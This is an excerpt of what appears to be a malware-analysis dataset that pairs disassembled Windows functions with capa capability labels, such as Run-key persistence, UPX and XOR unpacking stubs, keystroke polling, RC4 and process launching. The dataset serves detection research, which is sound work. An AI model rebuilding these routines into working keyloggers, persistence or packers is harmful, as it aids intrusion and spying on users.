joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404d70
Capabilities:
Copy file
Create process on windows
Delete file
Move file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x404d78
push ebx
mov eax, 0x404d10
call fcn.00403be4
xor eax, eax
push ebp
push 0x404fd7
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004043a0
sub al, 7
je 0x404da9
sub al, 2
jne 0x404fbc
mov eax, 0x40778c
mov edx, 0x404fec
call fcn.004035c8
lea eax, [ebp - 0x14]
call fcn.0040447c
mov edx, dword [ebp - 0x14]
mov eax, 0x407784
mov ecx, 0x404ffc
call fcn.00403714
lea eax, [ebp - 0x18]
call main
mov edx, dword [ebp - 0x18]
mov eax, 0x407788
mov ecx, dword [0x40778c]
call fcn.00403714
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004026c8
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
call main
mov eax, dword [ebp - 0x20]
pop edx
call fcn.00403858
test eax, eax
je 0x404ebe
lea eax, [ebp - 0x24]
call main
lea eax, [ebp - 0x24]
mov edx, dword [0x407784]
call fcn.004036d0
mov eax, dword [ebp - 0x24]
call fcn.0040380c
mov edx, eax
mov eax, 0x405004
call fcn.004045e8
lea eax, [ebp - 0x28]
call main
lea eax, [ebp - 0x28]
mov edx, dword [0x407784]
call fcn.004036d0
mov eax, dword [ebp - 0x28]
call fcn.0040380c
call fcn.00404710
mov eax, dword [0x407788]
call fcn.0040380c
push eax
push 1
mov ecx, 0x40500c
mov edx, 0x405014
mov eax, 0x80000002
call fcn.0040497c
lea eax, [ebp - 0x30]
call main
lea eax, [ebp - 0x30]
mov edx, dword [0x407784]
call fcn.004036d0
mov eax, dword [ebp - 0x30]
call fcn.0040380c
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00403680
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, 0x40504c
call fcn.00404bd4
jmp 0x404fbc
lea eax, [ebp - 0x34]
call main
lea eax, [ebp - 0x34]
mov edx, 0x405064
call fcn.004036d0
mov eax, dword [ebp - 0x34]
call fcn.0040380c
push eax
lea eax, [ebp - 0x38]
call main
lea eax, [ebp - 0x38]
mov edx, dword [0x407784]
call fcn.004036d0
mov eax, dword [ebp - 0x38]
call fcn.0040380c
push eax
call fcn.00403d58
push 4
push 0
lea eax, [ebp - 0x3c]
call main
lea eax, [ebp - 0x3c]
mov edx, 0x405064
call fcn.004036d0
mov eax, dword [ebp - 0x3c]
call fcn.0040380c
push eax
call fcn.00403d60
lea eax, [ebp - 0x40]
call main
lea eax, [ebp - 0x40]
mov edx, 0x405074
call fcn.004036d0
mov eax, dword [ebp - 0x40]
call fcn.0040380c
push eax
mov eax, dword [0x407788]
call fcn.0040380c
mov ebx, eax
push ebx
call fcn.00403d58
push 4
push 0
lea eax, [ebp - 0x44]
call main
lea eax, [ebp - 0x44]
mov edx, 0x405074
call fcn.004036d0
mov eax, dword [ebp - 0x44]
call fcn.0040380c
push eax
call fcn.00403d60
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x48]
xor eax, eax
call fcn.004026c8
mov eax, dword [ebp - 0x48]
call fcn.0040380c
push eax
call fcn.00403cd8
push 0x86
push ebx
call fcn.00403d70
push 0
push 0
push 0
push ebx
push 0x405080
push 0
call fcn.00404114
call fcn.0040481c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404fde
lea eax, [ebp - 0x48]
mov edx, 0xe
call fcn.00403598
ret
Function at 0x8cd690
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3b3000]
push edi
or ebp, 0xffffffff
jmp 0x8cd6b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8cd6b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8cd6a8
mov eax, 1
add ebx, ebx
jne 0x8cd6cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8cd6dc
jne 0x8cd6ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8cd6ec
dec eax
add ebx, ebx
jne 0x8cd6e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8cd6c0
xor ecx, ecx
sub eax, 3
jb 0x8cd704
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8cd776
sar eax, 1
mov ebp, eax
jmp 0x8cd70f
add ebx, ebx
jne 0x8cd70f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x8cd71c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x8cd740
inc ecx
add ebx, ebx
jne 0x8cd72c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8cd721
jne 0x8cd73d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8cd721
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8cd760
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8cd751
jmp 0x8cd6ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8cd760
add edi, ecx
jmp 0x8cd6ae
pop esi
mov edi, esi
mov ecx, 0x1ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8cd77e
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x8cd783
lea edi, [esi + 0x4cb000]
mov eax, dword [edi]
or eax, eax
je 0x8cd7f4
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4ce208]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4ce244]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8cd7a9
mov ecx, edi
jns 0x8cd7d8
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4ce248]
or eax, eax
je 0x8cd7ee
mov dword [ebx], eax
add ebx, 4
jmp 0x8cd7c6
call dword [esi + 0x4ce24c]
popal
jmp 0x4012ec

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x4e64554a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x285162f5
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409350
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x208], eax
push esi
lea eax, [esp + 4]
mov esi, ecx
push eax
push 0
push 0
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x409395
xor al, al
pop esi
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.0040a92c
add esp, 0x20c
ret
cmp word [esi], 0
mov ecx, dword [esp + 0x214]
je 0x4093ac
add esi, 2
dec ecx
cmp word [esi], 0
jne 0x4093a2
cmp word [esp + 4], 0
je 0x4093d7
lea edx, [esp + 4]
sub edx, esi
nop word [eax + eax]
cmp ecx, 1
jb 0x4093f4
mov ax, word [edx + esi]
dec ecx
mov word [esi], ax
add esi, 2
cmp word [edx + esi], 0
jne 0x4093c0
mov ecx, dword [esp + 0x20c]
xor eax, eax
mov word [esi], ax
mov al, 1
pop esi
xor ecx, esp
call fcn.0040a92c
add esp, 0x20c
ret
call fcn.0040c691
int3
Function at 0x409940
Capabilities:
Terminate process

Disassembly:
push ecx
call fcn.0040cb5b
add esp, 4
push 2
call fcn.0040c67b
int3

Function at 0x409980
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_runtime_expand_target_path.
jmp fcn.00409940

Function at 0x409990
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_decode_attached_data.
jmp fcn.00409940

Function at 0x4099a0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_find_attached_data_header.
jmp fcn.00409940

Function at 0x4099b0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_read_attached_data.
jmp fcn.00409940

Function at 0x4099c0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_allocate_memory.
jmp fcn.00409940

Function at 0x4099d0
Capabilities:
Terminate process

Disassembly:
mov ecx, str.Error__couldnt_launch_child
call fcn.004098f0
push 2
call fcn.0040c67b
int3
jmp 0x409960

Function at 0x4099e0
Capabilities:
Terminate process

Disassembly:
push 0x429c20
push str.Error__failed_to_open__ls_for_writing._n
push 2
call fcn.0040c9f8
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push 2
call fcn.0040c67b
int3

Function at 0x409b70
Capabilities:
Create directory

Disassembly:
mov eax, 0x200c
call fcn.0041ac10
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x2004], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [0x4243e0]
mov ebp, ecx
test edi, edi
jne 0x409bd7
push 0x1000
mov edx, str._HOME_
lea ecx, [esp + 0x14]
call fcn.00409400
add esp, 4
test al, al
je 0x409cba
lea eax, [esp + 0x10]
push eax
call fcn.0040f859
mov edi, dword [0x4243e0]
add esp, 4
mov dword [edi*4 + 0x426400], eax
inc edi
mov dword [0x4243e0], edi
xor esi, esi
test edi, edi
jle 0x409c24
nop dword [eax]
mov eax, dword [esi*4 + 0x426400]
mov ecx, ebp
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x409c16
test dx, dx
je 0x409c12
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x409c16
add ecx, 4
add eax, 4
test dx, dx
jne 0x409bf0
xor eax, eax
jmp 0x409c1b
sbb eax, eax
or eax, 1
test eax, eax
je 0x409c4b
inc esi
cmp esi, edi
jl 0x409be0
mov ecx, ebp
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409c30
sub ecx, edx
sar ecx, 1
cmp ecx, 2
jne 0x409c4f
cmp word [ebp + 2], 0x3a
jne 0x409c4f
mov al, 1
jmp 0x409ca1
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x409c72
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409c72
mov bl, 1
jmp 0x409c76
test bl, bl
je 0x409c9f
cmp dword [0x4243e0], 0x400
jge 0x409c9f
push ebp
call fcn.0040f859
mov ecx, dword [0x4243e0]
add esp, 4
mov dword [ecx*4 + 0x426400], eax
inc ecx
mov dword [0x4243e0], ecx
mov al, bl
mov ecx, dword [esp + 0x2014]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040a92c
add esp, 0x200c
ret
mov ecx, str._HOME_
call fcn.00409a10
int3
Function at 0x409dd0
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
mov eax, dword [0x4243e4]
sub esp, 0x20
test eax, eax
je 0x409e06
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x409dfa
push 0
push dword [0x4243e4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x4243e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x4243ed], 0
je 0x409edb
push ebx
push ebp
push esi
mov eax, 0x414
mov dword [esp + 0xc], 0
push edi
mov edi, dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x424400
mov dword [esp + 0x20], 0x420fac
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x420fac
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x424400
call ebp
cmp eax, 0xffffffff
je 0x409ed7
test al, 0x10
je 0x409ed7
push 0x64
call ebx
mov eax, 0x414
mov dword [esp + 0x10], 0
mov word [esp + 0x20], ax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x424400
mov dword [esp + 0x20], 0x420fac
mov dword [esp + 0x26], 0
mov dword [esp + 0x2a], 0
mov dword [esp + 0x2e], 0x420fac
call edi
inc esi
cmp esi, 0x14
jl 0x409e74
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x461fa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x45000]
push edi
or ebp, 0xffffffff
jmp 0x461fc2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461fc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461fb8
mov eax, 1
add ebx, ebx
jne 0x461fdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461fec
jne 0x46200b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x46200b
dec eax
add ebx, ebx
jne 0x461ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x461fd0
add ebx, ebx
jne 0x462007
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x46205d
xor ecx, ecx
sub eax, 3
jb 0x462023
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x462092
sar eax, 1
mov ebp, eax
jmp 0x46202e
add ebx, ebx
jne 0x46202e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461ffc
inc ecx
add ebx, ebx
jne 0x46203c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461ffc
add ebx, ebx
jne 0x462049
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x46203e
jne 0x46205a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46203e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x46207c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x46206e
jmp 0x461fbe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x46207c
add edi, ecx
jmp 0x461fbe
pop esi
mov edi, esi
mov ecx, 0x31c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x46209a
cmp byte [edi], 6
jne 0x46209a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x46209f
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46210e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x62000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4620cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6202c]
or eax, eax
je 0x462108
mov dword [ebx], eax
add ebx, 4
jmp 0x4620e9
call dword [esi + 0x6203c]
mov ebp, dword [esi + 0x62030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x462142
sub esp, 0xffffff80
jmp 0x403260
Function at 0x46ccd0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5099eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004fb7b6
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x46cd52
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004f8ae3
mov eax, dword [eax]
push 0x5aaea8
push eax
call fcn.004e97e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004fba41
test bl, bl
je 0x46cd52
push 0x5aaea8
lea ecx, [esp + 0xc]
call fcn.004fbe1d
push 0x5aaeb4
lea ecx, [esp + 0xc]
call fcn.004fbe1d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x46cd8e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004fba41
jmp 0x46ce59
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x46ce12
lea edx, [esp + 0x7c]
push 0x5aaeb0
push edx
call fcn.004e97e4
add esp, 8
test eax, eax
je 0x46ce12
lea eax, [esp + 0x7c]
push 0x5aaeac
push eax
call fcn.004e97e4
add esp, 8
test eax, eax
je 0x46ce12
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x46cda2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004fba41
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x46e0b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x509b4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5b61bc]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x46e1e8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x46e116
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004fba41
xor eax, eax
jmp 0x46e25f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004fbbca
push esi
lea ecx, [esp + 0xc]
call fcn.004fbe59
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5aaee8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x46e23d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x5aaee0
push closesocket
call fcn.004c95e0
test eax, eax
jne 0x46e23d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x5aaecc
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004c95e0
test eax, eax
jne 0x46e23d
lea eax, [esp + 0x14]
push 0x5aaec4
push eax
call fcn.004ea990
mov esi, eax
add esp, 8
test esi, esi
jne 0x46e21c
lea ecx, [esp + 0x14]
push 0x5aaec0
push ecx
call fcn.004ea910
mov esi, eax
add esp, 8
test esi, esi
jne 0x46e21c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x46e21f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004fbb7a
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x46e12e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004fba41
xor eax, eax
jmp 0x46e25f
mov byte [esi], 0
push 0x5aaebc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004fba41
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x483b30
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x483b9e
cmp si, 0x69
ja 0x483b9e
add esi, 0xffd0
cmp si, 0x11
je 0x483b6e
push 0x11
call edi
test ax, ax
jge 0x483b6e
or esi, 0x2000
cmp si, 0x10
je 0x483b83
push 0x10
call edi
test ax, ax
jge 0x483b83
or esi, 0x4000
cmp si, 0x12
je 0x483b98
push 0x12
call edi
test ax, ax
jge 0x483b98
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x483bab
mov esi, 0xbd
jmp 0x483b5f
cmp si, 0x6e
jne 0x483bb8
mov esi, 0xbe
jmp 0x483b5f
cmp si, 0x6f
jne 0x483b59
mov esi, 0xbf
jmp 0x483b5f

Function at 0x485490
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5c72c0]
xor edx, edx
cmp eax, edx
jne 0x4854b6
xor eax, eax
mov byte [eax + 0x5c71c0], al
inc eax
cmp eax, 0x100
jl 0x48549e
mov dword [0x5c72c0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5c71c0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x485547
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48551a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4854e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4855c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x485613
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4855fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48c580
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x48c718
cmp ebp, ebx
jle 0x48c718
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x48c5de
dec eax
or eax, 0xfffffff8
inc eax
je 0x48c5e5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x48c5f4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x48c5fb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004fb782
add esp, 4
cmp eax, ebx
je 0x48c61c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004fb782
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x48c70e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x48c6f5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x48c6e1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x48c6d6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x48c6e4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x48c6e4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x48c680
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x48c671
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret